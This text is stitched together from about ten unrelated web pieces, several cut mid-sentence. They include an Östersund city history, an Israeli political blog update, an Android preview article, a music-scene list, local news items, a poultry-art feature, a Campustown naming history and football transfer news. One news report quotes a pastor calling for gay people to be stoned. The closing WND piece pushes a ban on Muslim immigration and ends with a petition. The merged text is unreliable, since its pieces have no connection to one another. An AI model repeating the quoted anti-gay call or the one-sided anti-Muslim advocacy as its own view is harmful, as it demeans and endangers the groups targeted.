In the 1930s, the functionalistic style made itself apparent in Östersund's outskirts, which were growing. In the 1940s, the city was made more car-friendly and the city was first and foremost planned for cars.[21] Later the sanitarian issues was brought up, which resulted in the construction of a sewage treatment works and the waste water was no longer flushed directly into Storsjön. Östersund was also affected by the Million Programme, though to a lesser extent than other cities. During the same period older buildings such as Hotell Grand (to make room for Storsjöteatern), Cellfängelset (a jail located at the beginning of Prästgatan), Flickskolan (the girl school next to the city hall, where the current county library is located) and Västra stationen (at Badhusparken) were torn down. The local media described it all as e.g. "demolishing madness".[22] When the Good Templar house was threatened in order to widen Rådhusgatan the city's inhabitants had had enough and the building was saved.
Storgatan with a "spice garden lot" to the left.
The buildings along Storgatan (literally: "the large street") with entire segments intact since the 1880s are considered one of the best preserved city settlements in Sweden. The wooden façades are rich with details and the house are relatively low, short and slim. A great amount of work was put down on creating a balance between details and entirety. Parallel with Storgatan lies Prästgatan – "the priest street", Östersund's main shopping street. The buildings between the two streets are often connected and the streets create small rooms mostly inaccessible for keen winds. These so-called rooms also stimulate the social life on the streets.[clarification needed]
Stortorget – the main town square in central Östersund is one of six "closed squares" built in Sweden, the others being the ones in Uppsala, Karlstad, Vimmerby, Piteå and Haparanda. It was created through indentation in four different blocks to deliberately create an open air room with openings to every direction. A style deriving from how cities were planned during the Renaissance. However the town square lost its original shape when it was "opened up" and expanded towards the lake. Stortorget has long been the city's main market place and core, it is also here that the thousand year old market Gregorie market is held each year in March. The city festival Storsjöyran has Stortorget as its main centre.
Districts and housing estates [ edit ]
Before Östersund was established the population in the area was very scarce. In Odensala and Torvalla older settlements existed, the name Odensala can be derived from the Viking age and the Halls of Odin (though Torvalla means "dry wealds" with no reference to Thor). These two villages were later incorporated into Östersund and are today two major urban districts. Besides them the urban districts of Odenskog, Odensvik, Odenslund, Karlslund, Erikslund, Lugnvik, Lillänge and Söder along with the new district Stadsdel Norr are found on the mainland. On Frösön, recently included into the city are the three urban districts Hornsberg, Mjälle and Valla.
The central parts of Östersund are a part of the urban district Staden – "the city", which has become synonymous with Östersund for many people living in the nearby villages and towns. As Östersund is the only city in the area and nearest city for many it is common to call it Stan, though the dative form Staa has increasingly grown unusual. The residents of Östersunds are referred to as östersundare, though local ruralists call them stassbon "towners", and stassbo "towner", in singular.
View of Östersund during early spring, as seen from the hill Östberget on Frösön.
Landmarks [ edit ]
The most well known landmark of Östersund is the national romantic city hall. It is 51 meters tall and contains 136 rooms. It is the greatest constructional symbol of the National Romantic architecture in Östersund.[23] The city hall looks almost like a fortress and affiliates especially to the local art of Jämtland. The bell tower is of typical Jamtish design shaped like an onion, the local sculpture Olof Ahlberg made most of the sculpture details and the ornaments are made from Jamtish limestone. Frans Bertil Wallberg's city hall was seen by contemporary colleagues as the best of modern Swedish architecture.[24] The main part of the building is accentuated by a grand tower and a monumental stairway. It is accompanied by only one wing, the north wing, as the second, south wing, was torn down in the 1970s.
A recently built landmark is Arctura, named after Jämtland's provincial star Arcturus, a large hot water accumulator tank. Due to its appearance it is referred to as Termosen (the Thermos). At night the 65 meter building is illuminated with various lights like sunrise and the Aurora Borealis.
The large church is a monumental feature in Östersund's townscape. It is a basilica made of bricks with clear distinguished aisle. The quire is three-sided and the large steeple is facing the west: Storsjön and the fells of Oviken.
History [ edit ]
The Frösö Runestone is situated on Frösön in Östersund.
Lake Storsjön's shores have long been inhabited. Though the area where Östersund is situated was for a very long time Frösön's link to the east mainland. Frösön, the island of the Norse god Freyr, was originally the centre of the region and it was here the only inland Scandinavian hill fort, Mjälleborgen, was built around 300 AD. The ancient Scandinavian thing Jamtamót was held on this island, the christening of Jämtland begun here and it was here the World's northern-most raised runestone, Frösö Runestone, was risen.
Plans regarding the foundation of a Swedish city or köping (market town, "Chipping") in Jämtland existed among governmental officials already after the previously Norwegian province was ceded from Denmark-Norway in 1645. Queen Christina demanded the establishment of a sconce on Andersön shortly after the province became Swedish, this sconce would together with Frösö sconce secure the Swedish control over Jämtland.[25] Christina's intention was to locate the "Jamts' city" within this fortification. In order to construct the sconce the local inhabitants were coerced into forced labour 1651 but after protests and lack of capital the project was ended in 1654.
Östersund in the mid-1800s, the church in the picture was the first church in Östersund. When the houses were smaller it dominated the cityscape.
In 1758, the plans were brought back up through an initiative from the chief financial officer Pehr Schissler and the proposition did however initiate a new debate whether or not a city was to be established in Jämtland, in order to counteract the trading and faring traditions of Jämtland's farmers.[5] Several other attempts at constraition had previously been taken, and deemed unsatisfactory.[26] Östersund was founded and given its charter by Monarch Gustav III of Sweden on 23 October 1786, shortly after the outskirt of the Odensala farmers' lands were bought for the purpose. Several other places had been suggested, like Huså the then-largest settlement in Jämtland along with Krokom, Sunne and Ede outside of Brunflo. Frösön was also a candidate but the lot fell on Östersund, as it was deemed most favourable.[5] The only thing actually located in the area at the time was the main road and the bridge to Frösön. Östersund was upon foundation freed from taxes during a 20-year timespan and completely liberated from trade regulations and guild order.[5] In other remote locations of the Nordic region, similar cities were founded, like Reykjavík in Iceland the very same year, Tromsø (1794) in Northern Norway and Tampere (1775) and Kuopio (1782) in the Finnish inland. Östersund is however the only city in present-day Sweden to have been founded in the 18th century.[27]
The main railway station was built in 1879.
The city developed poorly and had to struggle in its infancy.[28] The State tried to pursue the Jamtish traders on Frösön to migrate to the new city but they had no intentions of leaving such a rich parish with fertile soils Frösön consisted of in favour of the swamp and marches across the strait. During its first 50 years the city's population only grew (on average) with eight people per year.[29] The city did become the capital of the newly founded county consisting of the provinces Jämtland and Härjedalen in 1810, meaning that a county residence was built and a county administrative board was located to the city.[29] Though Östersund remained as a de facto village with less than 400 inhabitants in 1820.[30] An upswing occurred in the 1850s, as trade was liberalized and the logging industry developed.
The world's largest order house is now a hotel. The Good Templar movement began declining after the Swedish prohibition referendum of 1922.
It took until the construction of the railroad in 1879 before Östersund became a real city and actually gained the status as Jämtland's centre, at Frösön's expense. Thanks to the "farmer chieftain" Nils Larson i Tullus the railroad came to pass through the city itself instead of outside it, as planned. The railway from coast to coast across the then union between Sweden and Norway was finished in 1882, connecting Östersund closer to Trondheim and Sundsvall. Östersund then came to grow faster than any other Swedish city. After ten years it had passed 20 Swedish cities in population.[31] The city attracted immigrants, a slight majority from the Jamtish countryside, though still with a high number of settlers from southern Sweden.[32] While Östersund was in its most intense state of growth popular movements emerged among the inhabitants. In Jämtland and Härjedalen the Good Templar movement (a part of the temperance movement) came to dominate completely. In 1883, 700 of the city's total population of 3,000 were organized Good Templars. The greatest symbol of the movements grandeur was the Order House constructed 1885 in the city, Östersunds-Goodtemplars-Ordenshus. When one of the most prominent leaders, Joseph Malins, visited the city he announced that it was the world's largest order house.[33]
Many of the leading people behind the popular movements in Östersund saw industrialization as a significant threat towards the native districts and the old village and farmer community. The work from the movements made the city and its centre-right governance extremely rejective towards industries. Instead they wanted to portray Östersund as a centre of outdoor activities, culture, education and tourism. Industries were not allowed to threaten the good environment, and the social history traditions.
In 1917 when the Great War was fought on the continent and with the February revolution in Russia, starting the Russian Revolution also affected Östersund. Rationing led to lack of supplies and a revolution was feared. Some of the citizens, primarily soldiers, went on hunger strikes and at the first of May that year 4,000 demonstrators gathered in front of the city hall demanding lower prices on milk and wood. The year after the Spanish flu spread like wildfire across the world. The city doctor in Östersund noted that "Östersund ought without objection have been more haunted by the flu than any other Swedish city", which is why Östersund was referred to by locals as spanska sjukans huvudstad, "capital of the spanish flu".[34]
The large brick church was built in 1940.
Despite the great depression and several crisis resulting in a very high unemployment rate Östersund continued to grow in the interwar period. In 1918 the Odenslund area was incorporated. The business sector remained largely unaffected and Östersund continued being one of the least industrialized cities in Sweden. Instead Östersund continued to focus on wholesale trade and became a centre of this in northern and north central Sweden. The city's central position was strengthened when the Inlandsbanan railway was constructed through Jämtland from the north to the south. The first scheduled bus route was created in the 1920s between Östersund and the nearby town of Brunflo. In the next decade well over 40 bus routes were functioning in Östersund. The dairy was located west of the bus square, Gustav III:s torg, at the shopping mall Kärnan's current whereabout. This square naturally become a central part of the city.
Östersund continued to grow after the Second World War. Lugnvik was incorporated into the city in 1954 and Östersund was just like the rest of Jämtland affected by the Rehn-Meidner-model, though not in the same way. The Swedish Keynesian politics was launched in order to improve the mobility of the labour force. Jämtland was struck hard by this when the people moved from the countryside to cities, from inland to coast and from the north to the south.[35] As an urban area Östersund was affected by the Million Programme and urban districts like Körfältet were created.
Östersund became the capital of the Republic of Jamtland. Its flag can be seen throughout the year at the main town square.
The negative view towards industries were changed when the Social Democrats came to power for the first time in the city's history in 1952. Industries were enticed to Östersund through the national localization politic and industrial areas were created in Odenskog and Lugnvik. The development was not, as already mentioned, as good in the rest of Jämtland as it was in Östersund and as a counter act towards the governmental politic the Republic of Jamtland was established in 1963.[36] Östersund became the "republic's capital" and the home to the freedom festival Storsjöyran.
Östersund continued to grow and in 1970 Frösö köping was made part of Östersund. In the year of 1971 a major reform occurred in Sweden creating large municipalities replacing all the older institutions and the new large municipality was named after the city. Just like in the rest of Sweden the public sector greatly expanded at this time. In 1960 the public sector of Sweden constituted about 30 per cent of Sweden's total gross domestic product, in the middle of the 1980s the number had grown to 65 per |
.
Update: So far, the only public official to take notice of the drill is MK Dov Khenin. Khenin, a member for Jewish-Arab party Hadash, has established himself the reputation of a diligent MK keen to work across our parliaments’ multilple aisles to forward green, social and human rights agendas. He also ran two years ago for mayor of Tel Aviv, spearheading a coalition of Hadash, Likud and student and community activists, coming in second with third of the vote. The esteemed Yossi Gurvitz writes on his Friends of George blog that Khenin takes an urgent view of the matter:
MK Dov Khenin has requested an urgent discussion in the Knesset. Speaking to this blog, he said it would be a mistake to focus on the fact that Public Security Minister Yitzhak Aharonovitch [in charge of the police, DR], is a Lieberman man; it seems, he said, much bigger than Lieberman and may involve Defence Minister Ehud Barak himself. Considering the fact the Home Front Command took part in the drill, this is a more than likely supposition. Khenin said he intends to demand explanations of Barak, but admitted that considering the latter’s consistent avoidance of accountability to parliament (he strives for perpetual reticence, said Khenin), this will not be easy.
Gurvitz also notes that such drills were carried out ahead of the disengagement from the Gaza Strip, with the target of the forces being, obviously, settlers. If I recall, these drills were widely publicised and used in psychological war against the settler community, hoping to persuade them not to resist. Here it seems the state is keen to keep whatever it’s preparing under wraps.
Dmitry (Dimi) Reider is a journalist and photographer, working from Israel and the Occupied Palestinian Territories. He blogs at Dimi’s Notes and +972 magazine.Many of you were a little overexcited when the Android N developer preview appeared the other day and instantly flashed it on your device. If so, you may have been dismayed to learn that doing so apparently prevented you from getting OTA updates in the new beta program. At least, that's how things looked at the time—it said so right on the download page. We reached out to Google to confirm that, and it turns out that warning wasn't worded quite right. You can still get OTAs after flashing the system image.
The confusion comes from the two ways you can install the developer preview this year. There's the system image, but also the beta program. If you join the beta, it pushes down an update that gets your device on the dev preview. It also includes updates each time a new build of the preview is ready. According to Google's Dave Burke, Google is actually pushing down full package OTAs, not incremental ones. So, it's actually very similar to flashing a system image.
Here's the new clarification added the the developer site.
If you decide you want to get OTA updates after manually flashing a device, all you need to do is enroll the device in the Android Beta Program. You can enroll the device at any time to receive the next Preview update over the air.
If you want to get OTA updates on your device after flashing the factory image, simply go and join the beta with that device. The result is the same as if you'd enrolled first and taken the first OTA to the dev preview. So, it's true that you don't automatically get OTA updates after manually flashing the image, but you can have them if you want them. Burke says the beta site will be updated with similar language soon.Music is a factor in almost everybody’s daily life, some more than others though. There are many places that come to mind, perhaps New York City, Los Angeles, London, etc., but unfortunately many great music scenes exist that are completely under-recognized. I’ve complied a list here.
10 Akron Ohio, USA
Akron’s most famous band is undoubtedly the blues rock band The Black Keys, but the city also features a large indie music scene. The largest and most powerful genre in Akron though, is the Garage Rock scene. It has two annual festivals, Akron Summer Music Festival and Lock (which just wrapped up).
Popular Akronite Artists: The Black Keys, James Ingram, Devo, Len Chandler
9 Cape Town Western Cape, South Africa
Cape Town, South Africa’s second most populous city, has a jaw-droppingly huge electronic scene in which almost all electronic sub-genres are represented. You can hear New Age to Dubstep to Trance. The electronic scene flourishes along a traditional African music scene. It features one Jazz Festival held every summer.
Popular Cape Town Artists: Tidal Waves, Kinetic, Rattex, Yunique
8 Houston Texas, USA
Houston has a rap scene unrivaled in the region. Just going to downtown and uptown shows how large the rap scene is by the sheer number of music venues and nightclubs. Houston is isolated from many rap hubs so it has developed a unique, one-of-a-kind style. Many artists have very choppy and repetitive beats and lyrics creating a sound that is rare in rap music. The city also features several music festivals and many non-music festival events feature a concert or two.
Popular Houston Artists: Alicia James, Psyguy, Marx De Lux
7 Minneapolis Minnesota, USA
In Minneapolis’ music scene nearly all genres are represented. With indie, underground, rap, electronic, and even a unique and thriving spoken word/poetry scene. The city also boasts around ten music festivals of many genres. With the largest being Bella Music Festival, which is primarily a local music festival.
Popular Minneapolis Artists: Soul Asylum, The Replacements, Bob Dylan (once based in Minneapolis)
6 Omaha Nebraska, USA
Omaha has a history of music dating back to the early 1920s. It was one of the driving cities of African American music in the 1920s and 1930s. It was also a driving city of surf rock in the 1960s. Currently though, it has several scenes ranging from metal to hip-hop and several in-between including country, jazz and indie. It also features three annual music festivals.
Popular Omaha Artists: Bright Eyes, The Faint, 311
5 Iceland
Iceland’s most famous artist is by far Bjork. Iceland features many other genres of music though, ranging from a very large indie scene to folk to electronica. It even features a SXSW-esque festival in Reykjavik called Iceland Airwaves in which all clubs in Reykjavik are filled with local and international artists. Iceland also has a number of niche music festivals. The most unique of these being Viking-themed, LBGT artists in a Gay pride festival and, a young artists-based festival.
Popular Icelandic Artists: Bjork, Sigur Ros, Mum, Esja
4 Denver Colorado, USA
Denver is a very up-and-coming music scene. It includes many genres although metal and punk are the dominant ones. One of the rising genres though is the offspring of the metal scene and the small, yet vibrant jazz and funk scene. It is now one of Denver’s staple genres. Denver also features many music festivals.
Popular Denver Artists: Judy Collins, John Denver, Kyuss, 16 Horsepower
3 Ireland
Ireland has a long history of music with its earliest (known) artist living in 920s A.D. The traditional Irish music still is relatively popular today, despite the large amounts of emigration in the area in the 19th and 20th centuries. Traditional Irish music still influences many Irish artists today. Today though it has several thriving genres including: indie, rock, and folk. Ireland also has dozens of music festivals.
Popular Irish Artists: U2, The Cranberries, Enya, Snow Patrol
2 Vancouver British Columbia, Canada
Vancouver has a large and flourishing indie music scenes that is starting to throw out some big names in indie rock. Vancouver also has a small but very acclaimed hip-hop scene that has had some success. The electronic/industrial scene of Vancouver is not as strong as it used to be, but it is still relevant. Vancouver has a couple of music festivals, most notably the Vancouver International Jazz Festival.
Popular Vancouver Artists: Dan Mangan, The New Pornographers, Hot Hot Heat, Japandroids, Said The Whale
1 Denton Texas, USA
Denton is a Texas town located about 50 miles northwest of Dallas. The University of North Texas has one of the best music colleges in America. Denton has a music scene that is beginning to rival that of Austin’s. Denton has hundreds of artists in which every genre is represented. Its music scene has rapidly developed in the last decade. Indie music is the primary staple of Denton music. Denton also has a a festival that is made to rival SXSW, called 35 Denton. It also features a popular Jazz festival.
Popular Denton artists: Bowling For Soup, Fishboy, Meat Loaf, Neon Indian, The Riverboat GamblersA Christian pastor in Prescott Valley, Arizona went on an angry rant during a sermon in which he condemned a fellow pastor for not endorsing far-right pastor Steven Anderson’s call for death to LGBT people.
The pastor in question asked to have his congregation’s listing removed from Anderson’s church directory, a decision which Pastor David Berzins of Word of Truth Baptist Church condemned as the act of a traitor to his faith, even though the offending clergyman is a personal friend of his.
“I like the guy,” said Berzins. “He’s a Christian, he’s saved, he does soul-winning, he believes in a King James Bible, it’s a Baptist church. Independent Fundamental Baptist church.”
The offending pastor even believes “that homosexuality is a wickedness and preaches against it,” Berzins went on, but his faith in Berzins’ eyes, is suspect.
“But just because they don’t believe that [homosexuals] should be stoned,” he said, that church’s teachings are invalid.
“I think it’s very clear” in the Bible, Berzins insisted, that people with same-sex attractions should be stoned to death.
“Look, God came up with the laws of the Old Testament! They’re breathed by the Lord,” he said. “And if you think that you know better on how to run a country than God has ordained,” he went on, you’re against the teachings of the Bible.
By not calling for their deaths, Berzins said, “you are just giving the enemy that much more ground and you’re letting them win.”
“Don’t break fellowship with someone who simply believes that Leviticus 20:13 should be in application in our government today,” he said, referring to the Old Testament passage that calls for the murder of homosexuals.
He also urged Christians not to be afraid to defy LGBT people or to fear their reprisals.
“Now, you’re gonna break fellowship over fellow Christians over this issue because you’re too scared! Because you’re scared about retaliation from these perverts! Don’t be scared! They’ve vile and wicked and you need to be standing up and standing together,” he said.
Watch video about this story, embedded below:Man who 'attempted to drown police dog' arrested at Melbourne hospital with bite wounds
Updated
A man who allegedly tried to drown a police dog in a creek as it pursued him in Melbourne's north on Wednesday night has been arrested after seeking treatment for serious dog bites.
Police said they pursued a white sedan early on Thursday morning and arrested a man and a woman in Reservoir after a tyre on the car blew out.
A second man fled into the nearby Darebin Creek and four-year-old German shepherd, Indy, chased after him.
Police said a 19-year-old Broadford man hit Indy on the head and then attempted to drown the dog, but was bitten.
A police officer pulled Indy from the water but the man escaped.
The man was arrested later in the morning when he sought treatment for severe dog bites at hospital. He remains in police custody.
Police charged a 20-year-old Pascoe Vale woman with conduct endangering life, handling stolen goods and traffic matters.
A 29-year-old Mill Park man was released pending further inquiries.
Indy was checked by handlers and is now back on duty.
Topics: law-crime-and-justice, reservoir-3073, northcote-3070, pascoe-vale-3044, mill-park-3082
First postedBlack Langshans, L.A. Stahmer, 1928. All Photos: Courtesy Watt Global Media
Daniel Webster, U.S. senator for the state of Massachusetts, showed a pair of Java chickens, a wild goose and some goslings at America’s first poultry show in November 1849. Held at Boston’s Public Garden, it allowed breeders to show off over 1,000 birds for the fame and awards that increased their flocks’ value. Gentlemen kept flocks of the latest and most beautiful breeds for bragging rights.
Only those who entered birds in the exhibition were allowed to give speeches, which the assembled crowd called upon Webster to do. As he began “Ladies and Gentlemen,” a Cochin rooster crowed with such determination that Webster gave up and sat down.
More than 10,000 spectators attended. The New England Historical Society called it “a red-letter day in the history of poultry breeding.”
During the next few decades, breeders got more organized, and in 1873 formed the American Poultry Association. In 1874, they produced the first Standard of Excellence, the bible of poultry exhibition. Each breed is precisely described, so that judges can compare birds for awards. But a picture is always worth a thousand words. Photographs in those early days were possible, but chickens are notoriously active and unwilling to pose. Besides, the Perfect Chicken doesn’t exist. Artists specializing in poultry filled the role of portraying, usually in oils, the Ideal Chicken of each breed.
Rhode Island Reds, A.O. Schilling, 1941.
Poultry keepers advertised their flocks, and awards, in poultry magazines such as the Poultry Tribune, which circulated to as many as 550,000 at its height. From 1926 onward, Publisher J. W. Watt and his partner Adon Yoder hired the top poultry artists of the 20th century—Arthur O. Schilling, Franklane L. Sewell, and Louis A. Stahmer—to create paintings of popular breeds, which were then featured in his monthly magazine. The artistic styles were different, each unique, but they captured the beauty and perfection of each breed. The paintings are so good that many are still used in the APA Standard of Perfection.
“Throughout the 1920s and ‘30s they were like pinups each month,” says Greg Watt, president and CEO of WATT Global Media, the company into which Watt Publishing Company has evolved.
Poultry breeders advertised in specialty magazines to carry their message to other breeders and producers. Poultry show winners were important for bragging rights as well as marketing features.
The paintings, created between 1926-1950, were all displayed throughout the company corporate office buildings in Mt. Morris, Illinois until 2007. The company relocated to Rockford, Illinois that year. A few were displayed in the entrance lobby of the new headquarters. The rest of the collection was crated and placed in storage.
The collection includes those 58 paintings, of chickens, geese, turkeys, ducks, chicks and ducklings and guineafowl. For its centennial celebration, the company has arranged to exhibit the entire collection, August 11-26 at the Old Sandstone Art Gallery in Mt. Morris, Illinois. The building was Watt Publishing’s first home.
Andrea Gantz, associate editor for WATT Global Media, worked on an exhibit of 17 of the paintings in 2011 at Rockford Art Museum in Rockford, the current corporate headquarters. She keeps 12 hens in her yard.
“When we were opening the paintings, we could tell who painted what by looking at styles,” she says.
Rhode Island Reds, the state bird of Rhode Island, are still popular among backyard small flock keepers. The industrial Rhode Island Red is the breed used for commercial brown egg production. The birds in this painting by Schilling are quite different from the industrial strain that lays commercial brown eggs for the supermarket. They are bigger, fuller, with brighter, more consistent color.
Barred Plymouth Rocks, A.O. Schilling, 1930.
Barred Plymouth Rocks, a color variety of the first breed listed in that original Standard in 1874, are often included in backyard flocks. Their portrait is painted by Schilling in the exhibit. Black Langshans, one of only three recognized Asiatic breeds, are now on the Livestock Conservancy’s Conservation Priority Watch list. That means there are fewer than 5,000 breeding birds in the United States, with 10 or fewer primary breeding flocks, and estimated global population of fewer than 10,000.
“These old breeds represent genetic diversity not found in today’s commercial and industrial brids,” says Jeannette Beranger, Senior Program Manager for the Livestock Conservancy. “With global warming and climate change, these are the breeds that can adapt. They are hardy, tough birds.”
Black and Single Comb Brown Leghorns are among Franklane Sewell’s portraits on exhibit. Robert Frost acknowledged Sewell’s artistry in his poem to his favorite hen, “A Blue Ribbon at Amesbury”: “In her we make ourselves acquainted/ With one a Sewell might have painted.”
White Wyandottes, A.O. Schilling, 1931.
Frost’s Mother Eve of chickens was a White Wyandotte, an American breed, shown in the exhibit in a painting by Schilling.
“Basically, the poultry industry up through the 1940s, when the paintings were first done, was more of a backyard enterprise,” says Charlie Olentine, former publisher, 1987-2004. “Back then, magazines meant going out to the farm level. Poultry Tribune was the main magazine. Now Watt’s magazines and audience served are all business to business.”
“He had a commitment to the poultry industry,” Jim Watt says of his grandfather. “Watt Publishing had its own poultry research farm. The National Turkey Federation arose out of the brainchild of one of the editors of Turkey World back then.”
Poultry producers sold birds with reputations as good egg layers, hefty meat producers, or as dual-purpose birds: good layers that were also big enough to put on the table. Hens were prized for their egg-laying ability. Young roosters, called cockerels, became fried chicken in the summer. Nothing went to waste.
Those concerns evaporated as the poultry industry turned to scientific and financial bottom-line management in the 1950s. The vertically integrated business model didn’t need artists and poultry shows to advance their products.
The Chicken of Tomorrow contest, started in 1945, was an indicator of that industry direction. The first recipient of the award was the Dark Cornish/New Hampshire cross, painted here by Schilling in 1950.
Cornish New Hampshire Cross, A.O. Schilling, 1950.
Several of the breeds pictured in the exhibit are no longer kept, and may be gone for good. Lamonas, a modern breed created for the market, are gone but dedicated breeders are attempting to re-create them. That’s possible, since they are a result of modern cross-breeding and their creators left records of what they did.
Hobby breeding can save rare breeds from extinction, but finding or creating a market for traditional breed poultry will generate economic conditions that give them a more secure future. If breeders can sell their birds and earn income, they will raise more of them. Having an economic purpose fulfills one of the original purposes of domestic poultry. The Standard of Perfection specifies Economic Value for most breeds.
“My barred rocks are marketable,” says Frank Reese of Good Shepherd Poultry Ranch in Lindsborg, Kansas, who won the American Treasures Award in 2012 for his work with heritage breed poultry. “They look like Barred Rocks were 70 years ago, when they were the meat bird … The old guys who wrote the standards didn’t write them to win shows. They wrote them so their birds would be productive.”
Current and former WATT employees attended the opening night reception to admire the paintings. Greg Watt said he had learned a lot about the breeds, and acquired a new appreciation for them.
“It was a magical evening,” he said. “I think we are looking at the tip of the iceberg.”“Campustown” is the new name for the South Side business section. A contest, conducted recently by the merchants of the Fourth ward, resulted in the selection of this name for the Lincoln way business district.
Ford K. Edwards, freshman electrical engineering student, and John N. Thurber, enrolled in Ames high school and a son of Prof. J. M. Thurber of the English department, both suggested the winning name. The prize of $25 offered by the merchants will be split by these two men. Tho the “Campustown” merchants have been in business for years along Lincoln way, no suitable name had ever come into general use by which to designate this part of the business district. “Campustown,” it was felt, will not only be an appropriate name but it will be distinctive of the business section bordering the south side of campus.
–7 Apr 1922
94 years ago today, Campustown received its name.
The term Fourth Ward was the name for West Ames for the first few decades of its existence because upon its annexation in 1893, it became a new local electoral ward – the city’s fourth.
Other names for the district at the time were
South Side, which only worked with those living in West Ames, since Ames Prime (east of the Squaw) also had a south side.
, which only worked with those living in West Ames, since Ames Prime (east of the Squaw) also had a south side. South Gate, an occasionally used name after the 1911 bridge was built across College Creek.
, an occasionally used name after the 1911 bridge was built across College Creek. Champlinville, named after businessman A. L. Champlin, who owned a lot of land in the district.
, named after businessman A. L. Champlin, who owned a lot of land in the district. Dogtown, which has a few different backstories. None are concrete. 1) Before cars, students had to “dog-it,” or walk everywhere if they wanted something. 2) People would sit on the campus hills along Lincoln Way (like the one at Friley) and observed that the buildings were reminiscent of prairie dogs – a lot of buildings but nothing very tall. An extended part to the story states the area was also a rough place to live. 3) Back in the early days of West Ames, there were a lot of dogs running about the neighborhood and nicknamed Dogtown. (DogTown was also the name of a local band in the 1990s. And yes, Dogtown University is also named after the old nickname.)
The Trueblood Shoe Store, which was located next to the College Savings Bank on Lincoln Way (in space that is now a part of US Bank), adopted the name within days. Students preferred Dogtown even after the Campustown name was adopted. Students from as late as the 1960s recall the district as Dogtown, not Campustown.
Though I didn’t research too much on Ford Edwards – not much resulted in a general internet search – John Thurber became a somewhat big deal.
This full-page advertisement also ran in the April 7 issue of the Iowa State Student. It also shows businesses that were a part of the association that wanted to formally name the district – I believe all these businesses were on Lincoln Way.
The Ames Daily Tribune and Ames Evening Times (I know, it’s a long title) also ran a story on April 7.
Name Is Changed
Fourth Ward Business District now known as “Campustown” “Southside” or “Dogtown,” as the business district of the Fourth ward has formerly been known, now does under the name of “Campsutown.” This resulted from a contest recently conducted by the merchants of that district.
Ford K. Edwards, freshman electrical engineering student, and John N. Thurber, enrolled in Ames high school; and a son of Prof. J. M. Thurber of the English department at the college, both suggested the winning name. The prize of $25 offered by the merchants will be divided between them. Altho the merchants of the Fourth ward have been in business for years, no suitable name has ever come into general use. “Campustown” will no doubt be an appropriate name for the business section bordering the south side of the campus.
Special Note: In the following issue of The Ames Daily Tribune and Ames Evening Times (April 8), the filing of articles of incorporation for the Faculty Women’s Housing Company was announced. This group would soon build the Cranford Building.Beaten play-off finalists Derby County are looking at the possibility of keeping loanees Andre Wisdom, George Thorne and Patrick Bamford at the club next season, according to TEAMtalk..
All three were involved in Derbys push for promotion and boss Steve McClaren will hope to persuade the on loan youngsters to extend their stay into next season.
It is thought negotiations have already begun with parent clubs Liverpool, West Brom and Chelsea as Derby look to go one better next season and gain promotion.
Derby outplayed eventual winners QPR on Saturday but a late Bobby Zamora strike condemned the Rams to another season in Englands second tier.
When asked about his plans for next season, Derby boss McClaren said: “The next stage is keeping the players we have under contract together.
“I’d like to sort out the likes of Wisdom, Thorne and Bamford. Maybe we have a chance of getting them back because I think they have enjoyed their time here.
“We’ll look back with a bit of anger, sadness and remorse but in a few days when we talk of the future, it looks bright.”
Wisdom joined Liverpool from Bradford in 2008 and made 14 apperances for the Merseyside club. He broke into the first team in 2012 but fell out of favor with Brendan Rodgers and joined Derby in October last year, making 37 appearances.
George Thorne joined Derby in January of this year after a successful spell with Watford. The highly rated midfielder has impressed since arriving from West Brom and McClaren would love to have him back at the heart of midfield for next season.
20-year-old Bamford signed for Chelsea in January 2012. The former Nottingham Forset striker spent the next season on loan to MK Dons where he was lethal in front of goal, scoring 18 goals in 37 appearances for the club. He continued that form last season with Derby and notched up 8 goals in 21 for the midlands club.
McClaren will be trying his hardest over the summer to add to the squad and will want Wisdom, Throne and Bamford back to help the club reach its ultimate goal of playing in the Premier LeagueCounter-terrorism expert Philip Haney has a simple message for presumptive Republican presidential nominee Donald J. Trump: Don’t go soft on Islamic terrorism.
Haney reacted swiftly to senior Trump adviser Paul Manafort’s comment that Trump was “softening” on his proposal to temporarily halt the immigration of Muslims to the U.S. until Americans can be assured that an adequate system is in place to prevent members of ISIS and other terrorists from infiltrating.
Manafort said that while Trump would certainly shift the debate in his direction, the Republican candidate would have to move to the center in the general election.
Haney – whose remarkable account of his nearly 14 years as a founding member of the Department of Homeland security is told in his new book “See Something, Say Nothing” – told Trump that now is not the time to play politics.
“Don’t compromise, Mr. Trump,” said Haney.
He argued the threat from Islamic terrorism is more dangerous than ever, with ISIS openly urging its followers to commit “lone wolf” terrorist attacks in the United States and Europe.
Has our own government already surrendered to Islamic jihad? A national security insider uncovers the terrible truth. Philip Haney’s “See Something, Say Nothing” is available now at the WND Superstore.
A recently released video message, purportedly from ISIS spokesman Abu Muhammad al-Adnani, tells “fighters and supporters of the Caliphate in Europe and America” to make Ramadan – June 5 to July 5 – a “month of calamity.”
Adnani also urges followers to focus on striking in the West, saying the “smallest action you do in their heartland is better and more enduring to us than what you would if you were with us … we wish we were in your place to punish the Crusaders day and night.”
Haney noted Adnani’s words – “the smallest action you do in the heart of their land” – are derived from a well-known passage in the Quran, verse 8.65, which encourages “steadfast” Muslims to fight and kill wherever they are, even if they are only few in number.
Haney was a Customs and Border Protection officer and intelligence analyst who identified hundreds of terrorists. He was well known for meticulously compiling information and producing actionable reports. But Haney faced fierce opposition from a politically correct administration that made him the subject of nine investigations.
WND previously reported Haney’s disclosure that the Obama administration, citing concerns about discrimination against Muslims, shut down a case he developed that could have stopped the San Bernardino massacre last December.
Earlier this week, WND reported Haney was the one who informed the House Homeland Security Committee in 2013 that a Saudi citizen taken into custody in the Boston Marathon bombing case was an armed and dangerous terrorist who was about to be deported. Haney can show that Janet Napolitano either was lying or grossly misinformed by staff when she angrily insisted to Congress that the Saudi had nothing to do with the case.
Unable to vet
Haney argues the battlefield reversals suffered by ISIS in recent weeks will likely make the group even more dangerous.
“As al-Adnani said in the video, from an Islamic perspective, even if ISIS is pushed out of its strongholds in Raqqa and Mosul, this would not count as a final defeat, because ‘defeat is the loss of will and the desire to fight.’ The greater the pressure on the Islamic State, the more likely it is use violence in widespread, diverse places. The string of bombings in Baghdad in the last few days is only one example.”
Haney contends the federal government simply does not have the capability to vet Middle Eastern migrants. For that reason, he said, Trump needs to stick by his proposed temporary ban until, as the candidate suggested, the government develops such a capability.
“Using Syrian refugees as an example, even FBI Director James Comey said during a House Committee on a Homeland Security hearing on October 21, 2015, that the federal government did not have the ability to conduct thorough background checks on all of the 10,000 Syrian refugees that the Obama administration intends to allowed to come to the United States,” Haney told WND.
Make YOUR voice heard! Sign the petition to impose a temporary halt to all Muslim immigration to our country
